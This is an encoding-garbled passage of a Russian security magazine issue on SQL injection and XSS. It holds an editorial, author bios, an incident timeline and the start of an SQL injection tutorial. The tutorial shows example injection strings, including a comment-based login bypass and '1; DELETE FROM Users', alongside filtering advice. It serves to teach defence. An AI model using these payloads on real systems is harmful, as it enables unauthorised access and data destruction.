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intro
Çà îêíîì ÿíâàðü, òåïëî è äîæäü � äîâîëüíî
íåîáû÷íîå ñî÷åòàíèå. Âïðî÷åì, ýòî èíòðî òîæå
íå ñîâñåì îáû÷íîå. Äåëî â òîì, ÷òî ýòîò íîìåð
ÑÏÅÖà � ïîñëåäíèé� Íåò, ìû íèêóäà íå äåíåìñÿ,
è æóðíàë áóäåò âûõîäèòü è äàëüøå, íî îí áóäåò
äðóãèì. Ìû òåðÿåì ñëîâî Õàêåð â íàçâàíèè.

Òÿæåëî ðàññòàâàòüñÿ ñ äóõîì èññëåäîâàíèé,
âçëîìà, ìåëêîãî õóëèãàíñòâà è íèãèëèçìà, íî æèçíü
íå ñòîèò íà ìåñòå: âñå âçðîñëåþò, íàáèðàþòñÿ
îïûòà è æèçíåííîé ìóäðîñòè. Ìû ïîíÿëè, ÷òî íàøà
è òâîÿ æèçíü íåðàçðûâíî ñâÿçàíà ñ êîìïüþòåðàìè
è èíôîðìàöèîííûìè òåõíîëîãèÿìè, è òåïåðü 
âíèìàíèå æóðíàëà áóäåò ñôîêóñèðîâàíî íà IT 
ñàìîãî ñåðüåçíîãî óðîâíÿ.

Ìû áóäåì ïîìîãàòü òåáå ðàáîòàòü è äåëàòü
êàðüåðó â ÈÒ-èíäóñòðèè, ðåøàòü ïðîôåññèîíàëü-
íûå ïðîáëåìû è ðàçâèâàòüñÿ, à òâîåé êîìïàíèè �
äîñòèãàòü íîâûõ âûñîò è ïîâûøàòü ýôôåêòèâíîñòü
áèçíåñà ñ ïîìîùüþ ñîâðåìåííûõ èíôîðìàöèîííî-
òåëåêîììóíèêàöèîííûõ òåõíîëîãèé.

Ñ âûáîðîì òåìû äëÿ ïîñëåäíåãî íîìåðà
â ñòàðîé èïîñòàñè ó íàñ âîïðîñ íå ñòîÿë: îäíîç-
íà÷íî ëþáèìîå íàïðàâëåíèå � áåçîïàñíîñòü. 
Ïåðåñìîòðåâ ïîäøèâêó ñòàðûõ íîìåðîâ, ìû îá-
íàðóæèëè, ÷òî ìàëî âíèìàíèÿ óäåëÿëè äâóì 
àñïåêòàì âåá-áåçîïàñíîñòè, àêòóàëüíîñòü êîòîðûõ
ñ êàæäûì äíåì âñå âîçðàñòàåò. Â ðåçóëüòàòå 
òû äåðæèøü â ðóêàõ æóðíàë, ïîñâÿùåííûé âíå-
äðåíèþ âðåäîíîñíîãî SQL-êîäà (SQL Injections) 
è HTML/JavaScript-êîäà (Cross-Site Scripting, XSS)
è çàùèòå îò íåãî.

P.S. Â ýòîì íîìåðå òû íå íàéäåøü ðóáðèêè
e-ìûëî. Ìû ñîçíàòåëüíî ïîøëè íà ýòî, ÷òîáû ïàðó
ñòðàíèö ïîñâÿòèòü òåì, êòî â òå÷åíèå òðåõ ñ ïîëî-
âèíîé ëåò äåëàë Õàêåð ÑÏÅÖ, òî åñòü ñåáå.
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Spider_NET
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mashp (mashp.h10.ru). Â ðåàëüíîé æèçíè ðàáîòàåò àäìèíèñòðàòîðîì ÁÄ è ïðîãðàììèñòîì.
Â ïðîôåññèîíàëüíîì ïðîãðàììèðîâàíèè áîëåå 4 ëåò, â îñíîâíîì ïèøåò
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êðóòîé ìàøèíîé, à äèñêîâîä ñ ìîíèòîðîì áûëè âåðõîì ìå÷òàíèé. Îñâîèë ìíîæåñòâî ÿçûêîâ
ïðîãðàììèðîâàíèÿ è îïåðàöèîííûõ ñèñòåì, èç êîòîðûõ ðåàëüíî èñïîëüçóåò W2K, à ëþáèò FreeBSD 4.5.
Æèâåò â íîðå, îêðóæåííîé ïî ïåðèìåòðó êîìïüþòåðàìè è ñòåëëàæàìè ñ ëèòåðàòóðîé.

Åâãåíèé ÄÄîêóêèí
c. 54 Â Ñåòè èçâåñòåí ïîä ïñåâäîíèìîì MustLive. Â ÈÒ-èíäóñòðèè áîëåå 13 ëåò, ñ òîãî ìîìåíòà,

êîãäà îòåö ïîäàðèë ïåðâûé êîìïüþòåð � Ïîèñê 2. Ñ òåõ ïîð âñÿ æèçíü òåñíî ñâÿçàíà ñ èíôîðìàöèîííûìè
òåõíîëîãèÿìè. Àêòèâíî ïðîïàãàíäèðóåò ñîöèàëüíûé ñåêüþðèòè àóäèò � áåçâîçìåçäíûé ïîèñê
óÿçâèìîñòåé. Èçâåñòåí ñâîèì ïðîåêòîì ïî âåá-áåçîïàñíîñòè http://websecurity.com.ua.

Ìèõàèë ÔÔëåíîâ
c. 72 Èçâåñòåí ïîä íèêîì Horrific. Ñîçäàòåëü ñàéòà www.vr-online.ru, àâòîð 11 êíèã íà ðóññêîì

è 4 íà àíãëèéñêîì ÿçûêå. Íàïèñàë ìíîæåñòâî ñòàòåé â òàêèå æóðíàëû êàê Õàêåð (âíåøòàòíûé àâòîð
ïî÷òè ñ ñàìîãî ðîæäåíèÿ æóðíàëà), ÕàêåðÑÏÅÖ è äðóãèå êîìïüþòåðíûå èçäàíèÿ.
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timeline

{áîìáà ççàìåäëåííîãî ääåéñòâèÿ} Æèçíü
âëàäåëüöåâ ôîðóìîâ, èñïîëüçóþùèõ
äâèæîê phpBB (ñàìûé ïîïóëÿðíûé
ôîðóì â ìèðå), ñòàëà êîøìàðîì ïîñ-
ëå òîãî, êàê â 2004 ãîäó áûë îïóáëè-
êîâàí ýêñïëîéò äî âûõîäà îôèöèàëü-
íîãî èñïðàâëåíèÿ îò hpBB. Ïðè÷åì

ïîñëå ïîÿâëåíèÿ èíôîðìàöèè î äûðå
ðàçðàáîò÷èêè ôîðóìà çàÿâèëè, ÷òî
îíà îïàñíîñòè íå ïðåäñòàâëÿåò è áó-
äåò óñòðàíåíà ñ âûõîäîì ñëåäóþùå-
ãî ðåëèçà ôîðóìà. Îäíàêî ÷åðåç íåñ-
êîëüêî äíåé ïîÿâèëñÿ ýêñïëîéò, ïîç-
âîëÿþùèé âûïîëíÿòü ïðîèçâîëüíûå
êîìàíäû íà óÿçâèìîì ñåðâåðå. Áóê-
âàëüíî ÷åðåç íåñêîëüêî ÷àñîâ ïîñëå
ïîÿâëåíèÿ âðåäîíîñíîãî êîäà â ñâî-
áîäíîì äîñòóïå phpBB îïóáëèêîâàë
ïðîïàò÷åííóþ âåðñèþ phpBB 2.0.11,
íî íå âñå óçíàëè îá ýòîì âîâðåìÿ�

È âñå ðàâíî ôîðóì phpBB îñòà-
åòñÿ îäíèì èç íàèáîëåå ïîïóëÿðíûõ
ñðåäè âåá-ìàñòåðîâ, ïðåæäå âñåãî
èç-çà ïðîñòîòû óñòàíîâêè è íàñòðîé-
êè. Êàæäûé íàäååòñÿ, ÷òî åãî áåäà
îáîéäåò ñòîðîíîé�

2000 

{çàðîæäåíèå} Èíöèäåíò ïðîèçîøåë
â Êîðåå, êîãäà õàêåðû âçëîìàëè ñàéò
MSN Korea. Îíè âñòàâèëè â áëîê íî-
âîñòåé âðåäîíîñíûé êîä, êîòîðûé, â
ñâîþ î÷åðåäü, ïûòàëñÿ óêðàñòü ñ êîì-
ïüþòåðîâ ïîëüçîâàòåëåé, ïîñåùàþ-
ùèõ ýòîò ñàéò, ïàðîëè ê îíëàéíîâîé
èãðå Lineage. Èìåííî òîãäà óÿçâè-

ìîñòü òèïà Ñross-Site Scripting ïîëó-
÷èëà øèðîêóþ îãëàñêó, à â Microsoft
çàÿâèëè, ÷òî ýòî ñåðüåçíàÿ óãðîçà áå-
çîïàñíîñòè ñàéòîâ. Åñòåñòâåííî, ïðî-
áëåìà áûëà óñòðàíåíà, íî ñ òåõ ïîð
ýòî ïîòåíöèàëüíàÿ óÿçâèìîñòü íîìåð
îäèí ó ëþáîãî äèíàìè÷åñêîãî ñàéòà,
ðàáîòàþùåãî ñ áàçîé äàííûõ.

2004

Â Microsoft ïóáëè÷íî

íàçâàëè óÿçâèìîñòü 

òèïà Cross-Site Scripting

ñåðüåçíîé óãðîçîé

áåçîïàñíîñòè ñàéòîâ



{õàðàêèðè ôôèøåðó} Íà òåððèòîðèè
ßïîíèè áûë çàäåðæàí çëîóìûøëåí-
íèê Êàäçóìà ßáóíî, êîòîðûé ïðî-
ìûøëÿë ñáîðîì êîíôèäåíöèàëüíîé
ôèíàíñîâîé èíôîðìàöèè ñ ïîìîùüþ
ôèøåðñêîãî ñàéòà Yafoo! Japan, íà-
ïèñàíèå URL êîòîðîãî ïî÷òè èäåí-
òè÷íî ñ îôèöèàëüíûì ÿïîíñêèì ïîð-
òàëîì Yahoo!. Åæåíåäåëüíî æåðòâà-
ìè «ðûáàëêè» ñòàíîâèëèñü îò 20 äî
30 ÷åëîâåê. Ïðè÷åì ýòè ëþäè, íè÷åãî
íå ïîäîçðåâàÿ, ëåãêî äåëèëèñü ñâîåé
ëè÷íîé èíôîðìàöèåé: ëîãèíàìè, ïà-
ðîëÿìè, íîìåðàìè êðåäèòíûõ êàðò�
Óïðàâëåíèå ñàéòîì çëîóìûøëåííèê
îñóùåñòâëÿë êàê ñ äîìàøíåãî, òàê
è ñ ðàáî÷åãî êîìïüþòåðà. Êàäçóìå
áûëè ïðåäúÿâëåíû îáâèíåíèÿ â íà-
ðóøåíèè àâòîðñêèõ ïðàâ è íåñàíêöè-
îíèðîâàííîì äîñòóïå ê èíôîðìàöèè,
ïîñëå ÷åãî îí áûë âçÿò ïîä ñòðàæó.
Ïîäîáíûé ïðåöåäåíò ÿâëÿåòñÿ ïåð-
âûì íà òåððèòîðèè ßïîíèè, â îòëè-
÷èå îò òåõ æå Øòàòîâ, ãäå ýòî âïîëíå
íîðìàëüíàÿ ïðàêòèêà.

ñîáñòâåííîðó÷íî 
íàïèñàííûé äâèæîê

cms ïîä ñâîáîäíûìè  
ëèöåçèÿìè (Drupal, XOOPS,
PHP-Nuke è äðóãèå) 

íå çíàþ

cms ïîä ñâîáîäíûìè ïðîïðèåòàð-
íûìè  ëèöåíçèÿìè ñ îòêðûòûì 
èñõîäíûì êîäîì (áèòðèêñ)

cms ïîä ñâîáîäíûìè ïðîïðèåòàð-
íûìè  ëèöåíçèÿìè ñ çàêðûòûì 
èñõîäíûì êîäîì (áîëüøèíñòâî 
ïëàòíûõ cms)

44,84%
18,89%
17,63%
10,08
7,81%

2005

Êàêîé ääâèæîê ääëÿ wweb-ññàéòà ííàèáîëåå ááåçîïàñåí? 
Äàííûå îîñíîâàíû ííà îîïðîñå ââ ððàìêàõ ïïðîåêòà wwww.securitylab.ru 
â ääåêàáðå 22006 ããîäà, ââ êêîòîðîì ïïðèíÿëè óó÷àñòèå 3397 ÷÷åëîâåê

Mozilla Firefox

Internet Explorer

Safari 

Opera

54%
24%
15%
7%

Ëèäåðû ïïî êêîëè÷åñòâó ííàéäåííûõ óóÿçâèìîñòåé
Ïî ððåçóëüòàòàì îîïðîñà ííà wwww.securitylab.ru

{Top 220} Âåäóùàÿ îðãàíèçàöèÿ êîì-
ïüþòåðíîé áåçîïàñíîñòè SANS Institu-
te îïóáëèêîâàëà åæåãîäíûé ñïèñîê 20
ïðîãðàìì (Top 20 Security Attack Tar-
gets), êîòîðûå ÿâëÿþòñÿ èçëþáëåííû-
ìè öåëÿìè õàêåðîâ (www.sans.org/top20/).
Çàâåòíûå öåëè � ïðèëîæåíèÿ Micro-
soft: Internet Explorer, Office, Windows
Libraries� Mac OS X êîìïàíèè Apple
ïîïàë â ýòîò ñïèñîê ñî «ñëàáîé êîí-
ôèãóðàöèåé» â Unix. Ïî äàííûì âñå
òîé æå SANS, 40 ïðîöåíòîâ âåá-ïðè-
ëîæåíèé ÿâëÿþòñÿ óÿçâèìûìè äëÿ
SQL Injection àòàê è 80 ïðîöåíòîâ �
äëÿ Ñross-Site Scripting àòàê.
Ëþáèìûå öåëè ñðåäè ïðèëîæåíèé:
1  Web-ïðèëîæåíèÿ 
2  Áàçû äàííûõ 
3  Ôàéëîîáìåííèêè 
4  Ìåññåíäæåðû
5  Ìåäèàïëåéåðû 
6  DNS-ñåðâåðû 
7  Ïðèëîæåíèÿ äëÿ áýêàïà

2006

{43%} Ñòîëüêî ïðîáëåì ïðèõîäèòñÿ
íà âåá-ïðèëîæåíèÿ, íàïèñàííûå íà
PHP è ñâÿçàííûå ñ áåçîïàñíîñòüþ
èíôîðìàöèîííûõ ñåòåé. Òàêîâû ðå-
çóëüòàòû èññëåäîâàíèÿ, ïðîâåäåííî-
ãî â 2006 ãîäó àìåðèêàíñêèì Íàöèî-
íàëüíûì èíñòèòóòîì ñòàíäàðòîâ
è òåõíîëîãèè (NIST), êîòîðûå áûëè
îïóáëèêîâàíû íà ñàéòå securityfo-
cus.com. Òàêîé âûâîä îñíîâàí íà àíà-
ëèçå 6198 óÿçâèìîñòåé, çàôèêñèðî-
âàííûõ â 2006 ãîäó, èç íèõ 2690 (òå
càìûå 43 ïðîöåíòà) ñîäåðæàëè â îïè-
ñàíèè ñëîâî «PHP». Ïðèìå÷àòåëüíî,
÷òî åùå â 2005 ãîäó íà äîëþ ïðèëî-
æåíèé íà ïëàòôîðìå PHP ïðèõîäè-
ëîñü âñåãî 29% óÿçâèìîñòåé. Ïîýòî-
ìó ìîæíî ñäåëàòü âûâîä, ÷òî ïðîáëå-
ìà êðîåòñÿ ñêîðåå â ñàìèõ ðàçðàáîò-
÷èêàõ, êîòîðûå äóìàþò î áåçîïàñíîñ-
òè â ïîñëåäíþþ î÷åðåäü. Ê òîìó æå
ìíîãèå èç íèõ íå ÿâëÿþòñÿ íàñòîÿùè-
ìè ïðîôåññèîíàëàìè.

25 óÿçâèìîñòåé áûëî óñòðàíåíî â Inter-
net Explorer ñ ÿíâàðÿ ïî ñåíòÿáðü 2006
ãîäà. Â Mozilla Firefox óÿçâèìîñòåé áû-
ëî íàéäåíî åùå áîëüøå � öåëûõ 56,
36 èç êîòîðûõ áûëè êðèòè÷åñêèìè è

ìîãëè áûòü èñïîëüçîâàíû äëÿ ïîëó÷å-
íèÿ ïîëíîãî êîíòðîëÿ íàä óÿçâèìîé
ñèñòåìîé. Â Opera áûëî íàéäåíî âñåãî
7 óÿçâèìîñòåé, à â Safari � 16 (www.se-
curitylab.ru/analytics/273335.php).



SQL IInjection � âíåäðåíèå ïðîèçâîëüíûõ
SQL-êîìàíä, â ðåçóëüòàòå êîòîðîãî ìåíÿåòñÿ ëîãèêà
îðèãèíàëüíîãî çàïðîñà ê áàçå äàííûõ. Ýòî ïðåäñòà-
âëÿåò ñåðüåçíóþ óãðîçó, òàê êàê òàêèì îáðàçîì çëîó-
ìûøëåííèê ìîæåò óòÿíóòü èç íåå êîíôèäåíöèàëü-
íóþ èíôîðìàöèþ. Òèïè÷íûé ïðèìåð � ÷åðåç îøèá-
êè â web-èíòåðôåéñå ó ðàçíûõ ïðîâàéäåðîâ íå ðàç
êðàëè áàçû ñ ëîãèíàìè è ïàðîëÿìè ïîëüçîâàòåëåé. 

Óñïåøíîñòü àòàêè SQL Injection íå çàâèñèò
îò èñïîëüçóåìîãî äëÿ íàïèñàíèÿ web-ïðèëîæåíèé
ÿçûêà ïðîãðàììèðîâàíèÿ � áóäü òî PHP, Perl èëè
ASÐ. Åñëè ñöåíàðèé ðàáîòàåò ñ áàçàìè äàííûõ, à ïðî-
âåðêà âõîäíûõ ïàðàìåòðîâ îòñóòñòâóåò, òî âñåãäà

åñòü âîçìîæíîñòü âíåäðåíèÿ SQL-êîäà. Ýòî îòíî-
ñèòñÿ íå òîëüêî ê web-ïðèëîæåíèÿì, íî è ê îáû÷íûì
ïðîãðàììàì, êîòîðûå ðàáîòàþò ñ áàçàìè äàííûõ. 

êàê ýýòî ïïðîèñõîäèò? ×òîáû íå ãðûçòü ñóõóþ
òåîðèþ, äàâàé ðàññìîòðèì íåáîëüøîé ïðèìåð. Äî-
ïóñòèì, ó òåáÿ íà ñåðâåðå áàç äàííûõ åñòü ñâîÿ áà-
çà, à â íåé � òàáëèöà Users, â êîòîðîé õðàíèòñÿ èí-
ôîðìàöèÿ îáî âñåõ çàðåãèñòðèðîâàííûõ ïîëüçîâà-
òåëÿõ. Êàê ïðàâèëî, òàêèå òàáëèöû èìåþò ìèíèìóì

06 ÄÅÔÅÊÒÍÛÉ ÇÀÌÛÑÅË

10 ÎÑÎÇÍÀÍÍÛÉ ÏÐÈÌÅÐ

16 RFI-ÏÀÍÎÏÒÈÊÓÌÚ

22 ÏÐÈÒÎÍÛ ÈÍÒÅÐÍÅÒÀ

26 ÏÐÎÒÈÂÎÓÊÎËÜÍÛÉ ÊÎÑÒÞÌ

30 ÂÍÓÒÐÈÌÛØÅ×ÍÎ È ÂÍÓÒÐÈÂÅÍÍÎ

34 ÂÀÊÖÈÍÀ ÄËß ÑÀÉÒÀ

06/ 37 ÃËÎÁÀËÜÍÀß ÝÏÈÄÅÌÈß

>

ääååôôååêêòòííûûéé
ççààììûûññååëë
SQL Injection

ÀÒÀÊÈ ÒÈÏÀ SQL INJECTION � ×ÀÑÒÛÅ ÃÎÑÒÈ Â ËÅÍÒÀÕ BUGTRAQ. ÔÎÐÓÌÛ,
ÃÎÑÒÅÂÛÅ ÊÍÈÃÈ È ÐÀÇÍÎÎÁÐÀÇÍÛÅ ÑÖÅÍÀÐÈÈ, ÊÎÒÎÐÛÅ ÈÑÏÎËÜÇÓÞÒ
ÄËß ÕÐÀÍÅÍÈß ÈÍÔÎÐÌÀÖÈÈ ÁÀÇÛ ÄÀÍÍÛÕ, ÐÅÃÓËßÐÍÎ ÏÎÄÂÅÐÃÀÞÒÑß ÈÌ
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òðè ïîëÿ: id (èäåíòèôèêàòîð), UserName (èìÿ ïîëü-
çîâàòåëÿ) è Password (ïàðîëü). Äîïóñòèì, äëÿ òîãî
÷òîáû ïîñìîòðåòü ïðîôèëü ïîëüçîâàòåëÿ, èñïîëü-
çóåòñÿ ñëåäóþùèé çàïðîñ ê áàçå äàííûõ:

SELECT *

FROM Users

WHERE id = ïåðåìåííàÿ

Â äàííîì ïðèìåðå âèäíî, ÷òî çíà÷åíèå ïîëÿ id áó-
äåò ñðàâíèâàòüñÿ ñî çíà÷åíèåì ïåðåìåííîé. Åñëè
â êà÷åñòâå çíà÷åíèÿ ïåðåìåííîé óêàçàòü, íàïðè-
ìåð, 10, òî ÷åñòíûé ïîëüçîâàòåëü óâèäèò ñâîé ïðî-
ôèëü. Âðîäå âñå õîðîøî è ïðåêðàñíî, íî ÷òî áóäåò,
åñëè ìîäèôèöèðîâàòü çàïðîñ äî òàêîãî âèäà:

SELECT *

FROM Users

WHERE id = ïåðåìåííàÿ OR UserName =

�Àäìèíèñòðàòîð�

Ïîñëå âûïîëíåíèÿ òàêîãî çàïðîñà îòîáðàçèòñÿ çàïèñü
íå òîëüêî ñ id = çíà÷åíèþ ïåðåìåííîé, íî è çàïèñü,
â êîòîðîé çíà÷åíèå ïîëÿ UserName = Àäìèíèñòðàòîð.
Òî åñòü ïîñëå òàêîãî çàïðîñà õàêåð óâèäèò âñþ èí-
ôîðìàöèþ îá ó÷åòíîé çàïèñè «Àäìèíèñòðàòîð».

www.site.ru/profile.php?id=10

OR UserName=�Àäìèíèñòðàòîð�

Íà ýòîì ïðèìåðå âèäíî, ÷òî ïîñëå òîãî, êàê ìû äîïè-
ñàëè ê URL äîïîëíèòåëüíûå SQL-êîìàíäû (OR User-
Name=�), ëîãèêà çàïðîñà èçìåíèëàñü. Îòñóòñòâèå
ôèëüòðàöèè âõîäíûõ ïàðàìåòðîâ � âîò ïðè÷èíà, èç-
çà êîòîðîé ïîÿâèëàñü âîçìîæíîñòü âîñïîëüçîâàòüñÿ
SQL Injection! ×òîáû ýòîãî íå ïðîèçîøëî, íåîáõîäè-
ìî ïåðåä âûïîëíåíèåì çàïðîñà â ñöåíàðèè êîå-÷òî
ïðîâåðèòü. Â äàííîì ñëó÷àå äîñòàòî÷íî ïðîñìîòðåòü
ñîäåðæèìîå îäíîé (ýòî ïðè óñëîâèè, ÷òî îñòàëüíûå
ïåðåìåííûå íèãäå íå âèäíû, íî ëó÷øå ïðîâåðÿòü
âñå) ïåðåìåííîé id: â íåé íå äîëæíî áûòü íèêàêèõ
ñèìâîëîâ, êðîìå öèôð îò 0 äî 9.

ïðîáëåìà ññïåöèàëüíûõ ññèìâîëîâ. Çíàòîêè
ÿçûêà çàïðîñîâ SQL çíàþò, ÷òî ñ ïîìîùüþ ñïå-
öèàëüíûõ ñèìâîëîâ ìîæíî ïîëíîñòüþ èçìåíèòü ëî-

ãèêó çàïðîñà è îáîéòè ìíîãèå îãðàíè÷åíèÿ, êîòîðûå
èçíà÷àëüíî ïðèäóìûâàë ïðîãðàììèñò.

1 Îäèíàðíûå è äâîéíûå êàâû÷êè. Èõ èñïîëüçóþò
äëÿ âûäåëåíèÿ çíà÷åíèé. Ïðåäûäóùèé ïðèìåð (User-
Name = 'Àäìèíèñòðàòîð') êàê ðàç îá ýòîì. Ïåðâîå, ñ
÷åãî íà÷èíàåò õàêåð ñâîå èññëåäîâàíèå, ýòî ïîïûòêà
âñòàâêè îäèíàðíîé êàâû÷êè âìåñòå ñî çíà÷åíèåì ïå-
ðåìåííîé. Åñëè îòñóòñòâóåò ôèëüòðàöèÿ íà ñïåöñèì-
âîëû, òî âçëîìùèê óâèäèò îøèáêó, ñãåíåðèðîâàííóþ
ñåðâåðîì ÁÄ. Â ðåçóëüòàòå îí óæå òî÷íî áóäåò çíàòü,
÷òî åñòü âîçìîæíîñòü âíåäðèòü ñâîé SQL-êîä.

Çíà÷èò, â ñâîåì ñöåíàðèè íàäî îòêëþ÷èòü âû-
âîä ëþáûõ îøèáîê. Ëó÷øå â ìîìåíò âîçíèêíîâå-
íèÿ îøèáêè âûâåñòè ñâîé òåêñò, ÷åì òåêñò, êîòîðûé
ñãåíåðèðóåò ñåðâåð ÁÄ.

2 Äâîéíîå òèðå. Äâà òèðå ïîäðÿä â SQL îçíà÷à-
þò íà÷àëî êîììåíòàðèÿ. Òî åñòü âñå, ÷òî áóäåò ïî-
ñëå äâóõ çíàêîâ òèðå, íå áóäåò âîñïðèíèìàòüñÿ êàê
÷àñòü çàïðîñà. Ðàññìîòðèì ïðèìåð:

SELECT * FROM Users WHERE UserName=root

AND Password= ïåðåìåííàÿ

Ýòî çàïðîñ äîëæåí âûáðàòü çàïèñü, ãäå ïîëå User-
Name ðàâíî root (êàê ïðàâèëî, â îñíîâíîì ýòî èìÿ
èñïîëüçóåòñÿ äëÿ îáîçíà÷åíèÿ ñóïåð-ïîëüçîâàòå-
ëÿ), à ïîëå Password ðàâíî çíà÷åíèþ ïåðåìåííîé.
Èìÿ ìû çíàåì, à ïàðîëü, åñòåñòâåííî, íåò. Íî ýòî
íå ïîâîä îò÷àèâàòüñÿ � ìîæíî óìóäðèòüñÿ ìîäè-
ôèöèðîâàòü çàïðîñ äî òàêîãî âèäà:

SELECT * FROM Users WHERE UserName=

root--AND Password = ïåðåìåííàÿ

Â ðåçóëüòàòå, êîä, êîòîðûé ñòîèò ïîñëå äâóõ çíàêîâ
òèðå (AND Password = ïåðåìåííàÿ), íå áóäåò âûïîë-
íåí, è, ñëåäîâàòåëüíî, ìû óñïåøíî ïðîõîäèì äàí-
íóþ ïðîâåðêó, çíàÿ îäíî ëèøü èìÿ ïîëüçîâàòåëÿ.

Â SQL åñòü åùå ïàðà ñèìâîëîâ, êîòîðûå
îáîçíà÷àþò êîììåíòàðèé, � «/*». Åñëè âäðóã îêà-
çûâàåòñÿ, ÷òî çíàê òèðå ôèëüòðóåòñÿ, òî ìîæíî
âîñïîëüçîâàòüñÿ «/*». Ïðèíöèï äåéñòâèÿ òîò æå ñà-
ìûé. Âåñü òåêñò çàïðîñà, êîòîðûé ñòîèò ïîñëå ýòèõ
ñèìâîëîâ, íå áóäåò âûïîëíÿòüñÿ, à çíà÷èò, ìîæíî
îòáðîñèòü ëèøíèå ïðîâåðêè è îáîéòè çàùèòó.

3 Çíàê ðàâåíñòâà. Êàçàëîñü áû, ÷åì ìîæåò ãðî-
çèòü ïðîñòîé çíàê ðàâåíñòâà (=)? Íî ïðè ïðàâèëüíîì
ïîäõîäå è îòñóòñòâèè ôèëüòðàöèè ýòîãî ñèìâîëà çíàê
ðàâåíñòâà ïðåâðàùàåòñÿ â áîåâîå îðóæèå. Ïðèìåð:

SELECT * FROM Users WHERE id= ïåðåìåííàÿ

Âçëîìùèê ìîæåò áåç ïðîáëåì â êà÷åñòâå çíà÷åíèÿ
ïåðåìåííîé ïîäñòàâèòü «1 OR UserName=Aäìèí»,
è çàïðîñ ëåãêèì äâèæåíèåì ðóêè ïðåâðàòèòñÿ â:

SELECT * FROM Users WHERE id = 1

OR UserName=Àäìèí

Ðåçóëüòàò ýòîãî çàïðîñà âåðíåò çàïèñü, ãäå ïîëå id
ðàâíî åäèíèöå èëè ïîëå UserName ðàâíî «Àäìèí».
Òåïåðü ïðåäñòàâü, ÷òî áûëî áû, åñëè áû çíàê ðàâåí-
ñòâà âñåãäà îòðåçàëñÿ. Çàïðîñ óæå âûãëÿäåë áû
ñëåäóþùèì îáðàçîì:

SELECT * FROM Users WHERE id = 1

OR UserNameÀäìèí

Ýòîò çàïðîñ íåâåðíûé, ïîýòîìó îí íå áóäåò âûïîëíåí
ñåðâåðîì ÁÄ, à çíà÷èò, âçëîìùèê îñòàíåòñÿ ñ íîñîì.

4 Òî÷êà ñ çàïÿòîé. Çíàê «;» òîæå îòíîñèòñÿ ê cïå-
öèàëüíûì ñèìâîëàì, îí èñïîëüçóåòñÿ äëÿ ðàçäåëå-
íèÿ çàïðîñîâ ìåæäó ñîáîé. Ëþáîé ñåðâåð ÁÄ ìî-
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êàê èùóò
óêðîìíîå ìåñòå÷êî
äëÿ SQL Injection

ÏÅÐÂÛÌ ÄÅËÎÌ ÈÙÓÒ ËÞÁÛÅ
ÑÖÅÍÀÐÈÈ ÍÀ ÑÀÉÒÅ. ÁÛÂÀÅÒ ÒÀÊ,
×ÒÎ ÂÅÑÜ ÑÀÉÒ ÂÛÏÎËÍÅÍ Â ÂÈÄÅ
ÑÒÀÒÈ×ÍÎÃÎ HTML, À ÊÀÊÎÉ-ÍÈÁÓÄÜ
ÎÄÈÍ ÐÀÇÄÅË (ÍÀÏÐÈÌÅÐ, ÍÎÂÎÑÒÈ)
ßÂËßÅÒÑß ÑÖÅÍÀÐÈÅÌ. ÂÎÒ Â ÍÅÌ
È ÈÙÓÒ ÂÎÇÌÎÆÍÎÑÒÜ ÂÍÅÄÐÅÍÈß
SQL INJECTION. ÏÐÎÁÓÞÒ ÏÎÄÑÒÀÂËßÒÜ
ÑÂÎÈ SQL-ÊÎÌÀÍÄÛ Ê ÇÍÀ×ÅÍÈÞ
ÏÅÐÅÌÅÍÍÛÕ, ÊÎÒÎÐÛÅ ÏÅÐÅÄÀÞÒÑß
ÑÖÅÍÀÐÈÞ. 

ÅÑËÈ ÍÀ ÀÒÀÊÓÅÌÎÌ ÑÀÉÒÅ ÅÑÒÜ
ÏÎÈÑÊ, ÒÎ ÅÃÎ ÒÎÆÅ ÏÐÎÂÅÐßÞÒ.
ÍÀ ÌÍÎÃÈÕ ÑÀÉÒÀÕ ÑÖÅÍÀÐÈÈ
ÏÎÈÑÊÀ � ÑÀÌÎÏÈÑÍÛÅ, ÇÍÀ×ÈÒ,
ÂÑÅÃÄÀ ÅÑÒÜ ØÀÍÑ, ×ÒÎ ÏÐÎÃÐÀÌÌÈÑÒ
ÃÄÅ-ÒÎ ÄÎÏÓÑÒÈË ÎØÈÁÊÓ.

ÔÎÐÓÌ È ÃÎÑÒÅÂÛÅ ÊÍÈÃÈ �
ÎÒËÈ×ÍÎÅ ÌÅÑÒÎ ÄËß ÏÎÈÑÊÀ
ÓßÇÂÈÌÎÑÒÅÉ. ÑÒÎÈÒ ÒÎËÜÊÎ ÓÇÍÀÒÜ
ÍÀÇÂÀÍÈÅ È ÂÅÐÑÈÞ ÔÎÐÓÌÀ
È, ÅÑËÈ ÎÍ ÈÇÂÅÑÒÍÛÉ, ÌÎÆÍÎ
ÏÎÏÐÎÁÎÂÀÒÜ ÍÀÉÒÈ ÓÆÅ ÃÎÒÎÂÛÉ
ÝÊÑÏËÎÉÒ Â ÑÅÒÈ. 

Ïòèöà îáëîìèíãî



æåò âûïîëíÿòü íåñêîëüêî äåéñòâèé îäíèì çàïðî-
ñîì, íî äëÿ ýòîãî êàæäîå äåéñòâèå â çàïðîñå äîë-
æíî áûòü îòäåëåíî äðóã îò äðóãà òî÷êîé ñ çàïÿòîé.
Êàê ýòèì ìîæíî âîñïîëüçîâàòüñÿ?

SELECT * FROM Users WHERE id = ïåðåìåííàÿ

Òåïåðü, ïðåäñòàâèì, ÷òî â ïåðåìåííóþ, ñ êîòîðîé ñðàâ-
íèâàåòñÿ çíà÷åíèå ïîëÿ id, âïèñûâàåòñÿ çíà÷åíèå: 

1; DELETE FROM Users

Çàïðîñ áóäåò âûãëÿäåòü ñëåäóþùèì îáðàçîì:

SELECT * FROM Users WHERE id = 1;

DELETE FROM Users

Ñíà÷àëà ñåðâåð âûïîëíèò âûáîðêó èç òàáëèöû Us-
ers � çàïèñü, â êîòîðîé çíà÷åíèå ïîëÿ id ðàâíî åäè-
íèöå. À çàòåì ïîëíîñòüþ óäàëèò âñå çàïèñè èç òà-
áëèöû Users. Êîíå÷íî, â ðåàëüíîé ñèòóàöèè î÷è-
ñòèòü âñå ñîäåðæèìîå òàáëèöû íåïðîñòî, òàê êàê
íåîáõîäèìî çíàòü åå èìÿ, à ïîëó÷èòü èìåíà òàáëèö
áûâàåò íå òàê ïðîñòî� íî âîçìîæíî.

5 Çíàê ïëþñà. Çíàê ïëþñà â SQL ñîïîñòàâëÿåò-
ñÿ ñî çíàêîì ïðîáåëà. Äîïóñòèì, ÷òî âîñïîëüçî-
âàòüñÿ îáû÷íûì ñèìâîëîì ïðîáåëà áûâàåò íåâîç-
